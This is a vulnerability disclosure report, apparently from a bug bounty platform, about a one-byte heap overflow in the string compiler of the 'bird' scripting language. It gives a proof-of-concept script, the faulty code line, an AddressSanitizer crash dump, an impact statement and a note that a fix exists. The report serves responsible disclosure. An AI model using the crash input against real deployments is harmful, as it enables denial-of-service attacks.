Out-of-bounds Write in mcfriend99/bird
Reported on
May 29th 2021
✍️ Description
Heap-based 1-byte write violation. Certain programs can cause the parser/syntax-checker to write out of bounds. The below program writes a single byte out of bounds.
🕵️♂️ Proof of Concept
Program:
var a = 'outer'
def test() {
var a = 'inner'
echo 'It works! ${a}'
}
echo a
echo test
test()
def test2(name, age, ...) {
echo name
echo age
echo __args__
}
test2('Richard', 20, 'James')
def sin(n) {
if n {
var t = n, sine = t
iter var a = 1; a < 24; a++ {
var mult = -n * n / ((2 * a + 1) * (2 * a))
t *= mult
sine += t
}
return sine
}
return nil
}
echo"sin()
echo 'Sin 10 = ${sin(10)}'
Program Output:
6
SyntaxError:
File: /testfile2.b, Line: 36
Error: unterminated string (opening quote not matched)
malloc(): invalid size (unsorted)
Aborted (core dumped)
Vulnerable code:
/src/core/compiler.c : line 1094: str[k] = '\0';
Step through the code in a debugger, you will notice that the above line has an off-by-one error. This can be prevented by bounds-checking before writing the null byte.
Crash dump (ASAN compiled+GDB):
==687366==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006d15 at pc 0x555555571bd9 bp 0x7fffffff9350 sp 0x7fffffff9340
WRITE of size 1 at 0x602000006d15 thread T0
#0 0x555555571bd8 in compile_string src/core/compiler.c:1094
#1 0x555555571c60 in string src/core/compiler.c:1099
#2 0x555555572119 in parse_precedence src/core/compiler.c:1308
#3 0x5555555722af in expression src/core/compiler.c:1324
#4 0x555555573c1b in compile_var_declaration src/core/compiler.c:1512
#5 0x555555573cb4 in var_declaration src/core/compiler.c:1528
#6 0x555555576809 in declaration src/core/compiler.c:2192
#7 0x555555576f49 in compile src/core/compiler.c:2272
#8 0x5555555ab457 in interpret src/core/vm.c:1964
#9 0x5555555abd64 in run_file src/core/bird.c:157
#10 0x5555555abfd8 in main src/core/bird.c:180
#11 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#12 0x55555556b7ad in _start (/Bird_plain/build/bird+0x177ad)
0x602000006d15 is located 0 bytes to the right of 5-byte region [0x602000006d10,0x602000006d15)
allocated by thread T0 here:
#0 0x7ffff768dbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x5555555715b0 in compile_string src/core/compiler.c:1023
#2 0x555555571c60 in string src/core/compiler.c:1099
#3 0x555555572119 in parse_precedence src/core/compiler.c:1308
#4 0x5555555722af in expression src/core/compiler.c:1324
#5 0x555555573c1b in compile_var_declaration src/core/compiler.c:1512
#6 0x555555573cb4 in var_declaration src/core/compiler.c:1528
#7 0x555555576809 in declaration src/core/compiler.c:2192
#8 0x555555576f49 in compile src/core/compiler.c:2272
#9 0x5555555ab457 in interpret src/core/vm.c:1964
#10 0x5555555abd64 in run_file src/core/bird.c:157
#11 0x5555555abfd8 in main src/core/bird.c:180
#12 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow src/core/compiler.c:1094 in compile_string
Shadow bytes around the buggy address:
0x0c047fff8d50: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8d60: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fff8d70: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
0x0c047fff8d80: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
0x0c047fff8d90: fa fa fd fa fa fa 00 fa fa fa fd fa fa fa 02 fa
=>0x0c047fff8da0: fa fa[05]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==687366==ABORTING
💥 Impact
This write violation may lead to memory corruption and potential crashes (denial of service).
Contacted the maintainer via a GitHub Issue. We will await their response.
Fixed in branch faster
and will merge into the main soon